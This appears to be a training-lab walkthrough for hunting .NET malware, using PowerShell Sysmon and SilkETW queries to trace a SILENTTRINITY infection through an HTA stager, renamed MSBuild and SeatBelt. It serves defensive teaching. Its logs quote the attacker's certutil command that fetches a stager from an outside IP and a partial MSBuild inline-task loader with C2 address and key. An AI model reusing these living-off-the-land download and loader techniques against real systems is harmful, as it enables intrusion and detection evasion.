

Hunting .NET Malware (Lab 1)

LAB 14.1

Scenario

The IT Security manager has now tasked you, the only Threat hunter, with performing a hunt for .NET malware, as he has heard about .NET been recently utilized in targeted campaigns against organizations in your line of business. The manager also heard that the C2 utilized during the campaigns is SILENTTRINITY, so he asked you:

Has [SILENTTRINITY](#) been executed in our environment?

Goals

The learning objective of this lab is increase familiarity with .NET attacks by doing a hands-on analysis.

What you will learn

You will learn how to utilize available logs to detect certain threats on a compromised host.

Recommended tools

- PowerShell
- <https://attack.mitre.org/techniques/T1127/>

Tasks

Task 1. Has msbuild executed malware on the machine?

During the aforementioned attacks, msbuild.exe was utilized to load SILENTTRINITY.

To hunt for msbuild execution, focus on Sysmon logs where the image of the process contains "msbuild.exe". Msbuild is being used by attackers to compile and execute code (<https://lolbas-project.github.io/lolbas/Binaries/Msbuild/>).

Task 2. What was the initial stager?

Study known stagers [here](#) and identify the one utilized in this attack.

Hint: Pay attention to the *ParentImage* and *ParentCommandLine* fields of the Sysmon event you identified previously (related to msbuild).

Task 3. How was the malware downloaded? Why did the attacker choose this method?

Observe activity on the machine around the time of the execution of the stager.

Hint: Start by investigating all process creation events that reference "Windows_Reporting.exe". Then, start tracing backwards...

Task 4. What was the attacker's IP and Port?

Review network activity related to "Windows_Reporting.exe".

Hint: You can also check the contents of "Windows_Reporting.xml".

Task 5. What known .NET offensive tools were executed?

Commonly utilized .NET tools are found in the following Repository - <https://github.com/GhostPack>. Review activity on the host for left artefacts of execution.

Hint: Focus on the "SilkService". They can provide visibility into executed .NET code.

PS: To establish this valuable data source in your own organization, follow the below resource.

<https://medium.com/threat-hunters-forge/threat-hunting-with-etw-events-and-helk-part-1-installing-silketw-6eb74815e4a0>

SOLUTIONS

Below, you can find solutions for each task. Remember though, that you can follow your own strategy, which may be different from the one explained in the following lab.

Task 1. Has msbuild executed malware on the machine?

To begin with, we will look at Sysmon logs to attempt to answer the question at hand. A generic hunt is to look for any process creation, where the image of the process contains "msbuild.exe":

To parse the logs using PowerShell and search for the presence of MSBuild, use the following PowerShell command ("\$_Properties[4]" refers to the Image name field in Sysmon log with Event ID 1):

```
Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=1} | Where-Object {$_.Properties[4].Value -like "*msbuild*"} | fl
```

The output:



```
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=1} | Where-Object {$_.Properties[4].Value -like "*msbuild*"} | fl
PS C:\Users\Administrator> _
```

PowerShell returns no results. Was this it?

The filename itself, alone, is a weak indicator as its easy to circumvent by simply renaming it. There are other options available, ranging from the file hash, other known fields or parameters. Observing MSBuild on a regular Windows 10 machine, we'll notice that the "Description" field is set to "MSBuild.exe". Let's utilize PowerShell and look for that in our data set ("\$_Properties[6]" represents the Description field in Sysmon log with Event ID 1):

```
Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=1} | Where-Object {$_.Properties[6].Value -like "*msbuild*"} | fl
```

```
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=1} | Where-Object {$_.Properties[6].Value -like "*msbuild*"} | fl

TimeCreated      : 7/6/2022 6:18:38 AM
ProviderName     : Microsoft-Windows-Sysmon
Id               : 1
Message          : Process Create:
                   RuleName: -
                   UtcTime: 2022-07-06 06:18:38.952
                   ProcessGuid: {221ce7aa-293e-62c5-6a01-00000000e000}
                   ProcessId: 5768
                   Image: C:\Users\Public\Downloads\Windows_Reporting.exe
                   FileVersion: 4.7.3190.0 built by: NET472REL1LAST_C
                   Description: MSBuild.exe
                   Product: Microsoft® .NET Framework
                   Company: Microsoft Corporation
                   OriginalFileName: MSBuild.exe
                   CommandLine: Windows_Reporting.exe Windows_Reporting.xml
                   CurrentDirectory: C:\Users\Public\Downloads\
                   User: ATTACKDEFENSE\Administrator
                   LogonGuid: {221ce7aa-1494-62c5-c389-230000000000}
                   LogonId: 0x2389C3
                   TerminalSessionId: 2
                   IntegrityLevel: High
                   Hashes: MD5=33451C6A3121BA227D3D688C49B9B5C2, SHA256=E748CE2FF9F7A879BEC9A61625E8470868489B60BCC3CE66C9A2
                        839235D4BB5F, IMPHASH=00000000000000000000000000000000
                   ParentProcessGuid: {221ce7aa-293a-62c5-6901-00000000e000}
                   ParentProcessId: 4204
                   ParentImage: C:\Windows\System32\cmd.exe
                   ParentCommandLine: "C:\Windows\system32\cmd.exe"
                   ParentUser: ATTACKDEFENSE\Administrator
```

Note that the binary image is "C:\Users\Public\Downloads\Windows_Reporting.exe" which starts with a command line parameter of "Windows_Reporting.xml".

Task 2. What was the initial stager?

Search for the presence of CMD (Command Prompt), use the following PowerShell command ("\$_Properties[4]" refers to the Image name field in Sysmon log with Event ID 1): now focusing on the ParentImage and ParentCommandLine parameters:

```
Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=1} | Where-Object {$_ .Properties[4].Value -like "*Cmd*"} | fl
```

```
TimeCreated : 7/6/2022 6:18:08 AM
ProviderName : Microsoft-Windows-Sysmon
Id : 1
Message : Process Create:
         RuleName: -
         UtcTime: 2022-07-06 06:18:08.890
         ProcessGuid: {221ce7aa-2920-62c5-6501-00000000e000}
         ProcessId: 3760
         Image: C:\Windows\SysWOW64\cmd.exe
         FileVersion: 10.0.17763.592 (WinBuild.160101.0800)
         Description: Windows Command Processor
         Product: Microsoft® Windows® Operating System
         Company: Microsoft Corporation
         OriginalFileName: Cmd.Exe
         CommandLine: "C:\Windows\System32\cmd.exe" /c copy
                     C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
                     C:\Users\Public\Downloads\Windows_Reporting.exe
         CurrentDirectory:
         C:\Users\student\AppData\Local\Packages\Microsoft.MicrosoftEdge_8abkyb35bbwe\TempState\Downloads\
         User: ATTACKDEFENSE\Administrator
         LogonGuid: {221ce7aa-1494-62c5-c389-230000000000}
         LogonId: 0x2389C3
         TerminalSessionId: 2
         IntegrityLevel: High
         Hashes: MD5=C43699F84A68608E7E57C43B7761BBB8, SHA256=2EDB180274A51C83DDF8414D99E90315A9047B18C51DFD070326
                214D4DA59651, IMPHASH=392B4D61B1D1DADC1F06444DF258188A
         ParentProcessGuid: {221ce7aa-2920-62c5-6401-00000000e000}
         ParentProcessId: 5560
         ParentImage: C:\Windows\SysWOW64\mshta.exe
         ParentCommandLine: "C:\Windows\SysWOW64\mshta.exe" "C:\Users\student\AppData\Local\Packages\Microsoft.Mi
                             crosoftEdge_8abkyb35bbwe\TempState\Downloads\report.hta"
                             {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
         ParentUser: ATTACKDEFENSE\Administrator
```

The parent image is "mshta.exe", which has executed "report.hta". Based on the temporary location (of Microsoft Edge), we can conclude that the file was executed in a browser, which then started Windows_Reporting.exe.

The initial stager is an HTA file, however we are still not sure how and/or why MSBuild is renamed to Windows_Reporting.exe and located in an odd location.

Task 3. How was the malware downloaded? Why did the attacker choose this method?

Let's begin tracing backwards - so far we know that MSBuild is present in an odd location under different name, and that an HTA file was used to execute the file. Since we know the file is called "Windows_Reporting.exe", let's look at all process creation events that have referenced this file with the following command ("\$_Properties[10]" represents to the CommandLine field in Sysmon log with Event ID 1):

```
Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=1} | Where-Object {$_.Properties[10].Value -like "*Windows_Reporting.exe*"} | fl
```

```
TimeCreated : 7/6/2022 6:18:08 AM
ProviderName : Microsoft-Windows-Sysmon
Id : 1
Message : Process Create:
         RuleName: -
         UtcTime: 2022-07-06 06:18:08.890
         ProcessGuid: {221ce7aa-2920-62c5-6501-00000000e000}
         ProcessId: 3760
         Image: C:\Windows\SysWOW64\cmd.exe
         FileVersion: 10.0.17763.592 (WinBuild.160101.0800)
         Description: Windows Command Processor
         Product: Microsoft® Windows® Operating System
         Company: Microsoft Corporation
         OriginalFileName: Cmd.Exe
         CommandLine: "C:\Windows\System32\cmd.exe" /c copy
                     C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
                     C:\Users\Public\Downloads\Windows_Reporting.exe
         CurrentDirectory:
         C:\Users\student\AppData\Local\Packages\Microsoft.MicrosoftEdge_8abkyb35bbwe\TempState\Downloads\
         User: ATTACKDEFENSE\Administrator
         LogonGuid: {221ce7aa-1494-62c5-c389-230000000000}
         LogonId: 0x2389C3
         TerminalSessionId: 2
         IntegrityLevel: High
         Hashes: MD5=C43699F84A68608E7E57C43B7761BBB8, SHA256=2EDB180274A51C83DDF8414D99E90315A9047B18C51DFD070326
                214D4DA59651, IMPHASH=392B4D61B1D1DADC1F06444DF258188A
         ParentProcessGuid: {221ce7aa-2920-62c5-6401-00000000e000}
         ParentProcessId: 5560
         ParentImage: C:\Windows\SysWOW64\mshta.exe
         ParentCommandLine: "C:\Windows\SysWOW64\mshta.exe" "C:\Users\student\AppData\Local\Packages\Microsoft.Mi
                crosoftEdge_8abkyb35bbwe\TempState\Downloads\report.hta"
                {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
         ParentUser: ATTACKDEFENSE\Administrator
```

Observing the output, we note that an event entry has logged the same HTA file copying MSBuild to C:\Users\Public\Downloads\Windows_Reporting.exe.

From the first task, we know that Windows_Reporting.exe was executed with command line argument of "Windows_Reporting.xml". To find out how that XML file was created, we will look into Sysmon event 11 - File create event. Execute the following command ("\$_Properties[5]" represents to the TargetFilename field in Sysmon log with Event ID 11):

```
Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=11} | Where-Object {$_.Properties[5].Value -like "*Windows_Reporting.xml*"} | fl

PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=11} | Where-Object {$_.Properties[5].Value -like "*Windows_Reporting.xml*"} | fl

TimeCreated      : 7/6/2022 6:18:09 AM
ProviderName     : Microsoft-Windows-Sysmon
Id               : 11
Message          : File created:
                   RuleName: Downloads
                   UtcTime: 2022-07-06 06:18:09.071
                   ProcessGuid: {221ce7aa-2920-62c5-6701-00000000e000}
                   ProcessId: 6060
                   Image: C:\Windows\SysWOW64\certutil.exe
                   TargetFilename: C:\Users\Public\Downloads\Windows_Reporting.xml
                   CreationUtcTime: 2022-07-06 05:44:11.213
                   User: ATTACKDEFENSE\Administrator
```

Note that the file was created by "certutil.exe". Let's review the information that Att&ck has on certutil.exe [here](#). It states "certutil can be used to download files from a given URL". Following this information, we can dig up process creation events with certutil.exe with the following command:

```
Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=1} | Where-Object {$_.Properties[4].Value -like "*certutil.exe*"} | fl
```

```
TimeCreated : 7/6/2022 6:18:08 AM
ProviderName : Microsoft-Windows-Sysmon
Id : 1
Message : Process Create:
         RuleName: -
         UtcTime: 2022-07-06 06:18:08.907
         ProcessGuid: {221ce7aa-2920-62c5-6701-00000000e000}
         ProcessId: 6060
         Image: C:\Windows\SysWOW64\certutil.exe
         FileVersion: 10.0.17763.1 (WinBuild.160101.0800)
         Description: CertUtil.exe
         Product: Microsoft® Windows® Operating System
         Company: Microsoft Corporation
         OriginalFileName: CertUtil.exe
         CommandLine: "C:\Windows\System32\certutil.exe" -urlcache -split -f http://52.77.211.51:8443/stager.xml
                     C:\Users\Public\Downloads\Windows_Reporting.xml
         CurrentDirectory:
         C:\Users\student\AppData\Local\Packages\Microsoft.MicrosoftEdge_8abkyb35bbwe\TempState\Downloads\
         User: ATTACKDEFENSE\Administrator
         LogonGuid: {221ce7aa-1494-62c5-c389-230000000000}
         LogonId: 0x2389C3
         TerminalSessionId: 2
         IntegrityLevel: High
         Hashes: MD5=FD60D24DDCCDFAE396F0D2349F040484, SHA256=555A8B4B7C5E9614E3EF7AF2FAFC6181AA98AD9D10EBFD845D82
                F33EFEB7E1C7, IMPHASH=E8D77122DFEFBA52E492A9E89B1F9BEB
         ParentProcessGuid: {221ce7aa-2920-62c5-6401-00000000e000}
         ParentProcessId: 5560
         ParentImage: C:\Windows\SysWOW64\mshta.exe
         ParentCommandLine: "C:\Windows\SysWOW64\mshta.exe" "C:\Users\student\AppData\Local\Packages\Microsoft.Mi
                crosoftEdge_8abkyb35bbwe\TempState\Downloads\report.hta"
                {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
         ParentUser: ATTACKDEFENSE\Administrator
```

It appears that certutil.exe was utilized to download the XML file from <http://52.77.211.51:8443>.

The attacker has chosen to "Live off the land", presumably to avoid detection and throw off analysts by renaming MSBuild into a file, seemingly looking like a Windows tool.

Task 4. What was the attacker's IP and Port?

Reviewing the discovered Windows_Reporting.xml reveals the attacker's C2 IP and Port:



```
Windows_Reporting.xml - Notepad
File Edit Format View Help
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="cMCKV">
    <cMCKV >
      </cMCKV>
    </Target>
  <UsingTask
    TaskName="cMCKV"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />
      <Using Namespace="System.Reflection" />
      <Using Namespace="System.IO" />
      <Using Namespace="System.IO.Compression" />

      <Code Type="Fragment" Language="cs">
        <![CDATA[

          string guid = "fb6a69b5-03d1-41a8-b8b5-b8dc83b2cd02";
          string psk = "ce91ba80cea223156a4d00e75620297ff47c9bacc8b8e8e8caf8f9cb1699161b";
          string urls = "http://52.77.211.51:80";
          string b64 = "/XwLdFzVdei
+n7n3zkejuT02JH9kjeXf2PpYf0vGBuuLB3+xZC0DiRhJ1/LgmbnynZGxMCJyCE1IMIWXkAQWhE8hxElDQh6QACmEEFpoS0paSJpC/BrS
JCVtQtomL81Lat7e
+9z5SFZSu15X31vrZaTZ9+x9zt1nn7332Wefe2dm1+W3ggIAKr7ffhvgSyBe2+Dff83i01jzZBAe9b608kvSzpdWdh1JZqOTjj3hJNLrs
UQmY+eio1bUmcpEk5lo357BaNoetxrLynyrXR57+wF2SgokvvnG7Xm+fwe14JeaAA4gYgja
+3IIou6gJB2VZSE3QPEKXxF0eimw7UaAEP8Xr4ULv1qR7x53Mjd7FpjkvQABvHwpC9AJ/4FXtCA6vwzEt5fgjTnrBE3pgSF3XgeKcpewu
KrRyTpj4MpGc9fwPTY3HWpjW6NjpewxISvJzLzedV67nv1iTuTEdtt38UBqK8ChFgCJZMTRXrABfq8821HmhQ4AdzfXDTrQ8NEH8NyLA
lsm/WTna1lIdxaHkhi6wld3TWi+ikRdFPTKkYn7Snm3PhCN3vC1H
```

The same can be observed by Sysmon logs, in particular event id 3 filtering for Windows_Reporting.exe with the following command:

```
Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=3} | Where-Object {$_.Properties[4].Value -like "*Windows_Reporting.exe*"} | fl
```

```
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=3} | Where-Object {$_.Properties[4].Value -like "*Windows_Reporting.exe*"} | fl
```

```
TimeCreated      : 7/6/2022 6:18:40 AM
ProviderName     : Microsoft-Windows-Sysmon
Id              : 3
Message         : Network connection detected:
                  RuleName: Usermode
                  UtcTime: 2022-07-06 06:18:39.090
                  ProcessGuid: {221ce7aa-293e-62c5-6a01-00000000e000}
                  ProcessId: 5768
                  Image: C:\Users\Public\Downloads\Windows_Reporting.exe
                  User: ATTACKDEFENSE\Administrator
                  Protocol: tcp
                  Initiated: true
                  SourceIsIpv6: false
                  SourceIp: 10.0.0.60
                  SourceHostname: AttackDefense.ap-southeast-1.compute.internal
                  SourcePort: 49822
                  SourcePortName: -
                  DestinationIsIpv6: false
                  DestinationIp: 52.77.211.51
                  DestinationHostname: ec2-52-77-211-51.ap-southeast-1.compute.amazonaws.com
                  DestinationPort: 80
                  DestinationPortName: http
```

```
PS C:\Users\Administrator> █
```

```
Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=3} | Where-Object {$_.Properties[4].Value -like "*Windows_Reporting.exe*"} | fl | measure
```

Overall, there are 51 connections.

```
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=3} | Where-Object {$_.Properties[4].Value -like "*Windows_Reporting.exe*"} | fl | measure

Count      : 5
Average    :
Sum        :
Maximum    :
Minimum    :
Property   :
```

```
PS C:\Users\Administrator> _
```

Task 5. What known .NET offensive tools were executed?

NOTE - logs are continuous and excessive, and they may get overwritten. Make sure to revert the machine to its original state when starting this task. Ideally, disable "SilkService".

The machine is preset to log .NET activity. As hinted in the task itself, we'll focus on detection of GhostPack. FuzzySec released detection rules in his talk in Black Hat in this [video](#). Utilizing the rules and/or variations of them, we locate the following event entry which confirms the usage of SeatBelt and its association to Windows_Reporting.exe:

SilkService-Log Number of events: 6,555

Level	Date and Time	Source
Information	7/6/2022 6:21:19 AM	SilkService-Log
Information	7/6/2022 6:21:19 AM	SilkService-Log
Information	7/6/2022 6:21:19 AM	SilkService-Log
Information	7/6/2022 6:21:19 AM	SilkService-Log
Information	7/6/2022 6:21:19 AM	SilkService-Log
Information	7/6/2022 6:21:19 AM	SilkService-Log
Information	7/6/2022 6:21:19 AM	SilkService-Log

Event 3, SilkService Collector

General Details

```
{
  "ProviderGuid": "e13c0d23-ccbc-4e12-931b-d9cc2eee27e4",
  "YaraMatch": [],
  "ProviderName": "Microsoft-Windows-DotNETRuntime",
  "EventName": "Method/LoadVerbose",
  "Opcode": 37,
  "OpcodeName": "LoadVerbose",
  "TimeStamp": "2022-07-06T06:21:17.8102933+00:00",
  "ThreadID": 282,
  "ProcessID": 5768,
  "ProcessName": "Windows_Reporting",
  "PointerSize": 8,
  "EventDataLength": 94,
  "XmlEventData": {
    "ModuleID": "140,729,209,892,600",
    "PID": "5768",
    "ClrInstanceId": "6",
    "MethodSignature": "void ()",
    "MethodID": "140,729,209,987,656",
    "MethodFlags": "Jitted",
    "MethodToken": "100,663,348",
    "FormattedMessage": "MethodID=140,729,209,987,656;\r\nModuleID=140,729,209,892,600;\r\nMethodStartAddress=140,729,208,316,912;\r\nMethodSize=200;\r\nMethodToken=100,663,348;\r\nMethodFlags=Jitted;\r\nMethodNamespace=SeatBelt;\r\nMethodName=PrintLogo;\r\nMethodSignature=void ();\r\nClrInstanceId=6",
    "MSec": "2747882.4513",
    "MethodNamespace": "SeatBelt",
    "MethodStartAddress": "140,729,208,316,912",
    "TID": "2824",
    "MethodSize": "200",
    "ProviderName": "Microsoft-Windows-DotNETRuntime",
    "PName": "",
    "MethodName": "PrintLogo",
    "EventName": "Method/LoadVerbose"
  }
}
```

Log Name: SilkService-Log
 Source: SilkService Collector
 Event ID: 3
 Level: Information
 User: N/A
 OpCode:
 More Information: [Event Log Online Help](#)

Logged: 7/6/2022 6:21:19 AM
 Task Category: None
 Keywords: Classic
 Computer: AttackDefense

KEY TAKEAWAYS

1. Robust detection rules as well as alternative/additional data sources are required to perform high quality hunts
2. Adversaries often choose to hide in plain sight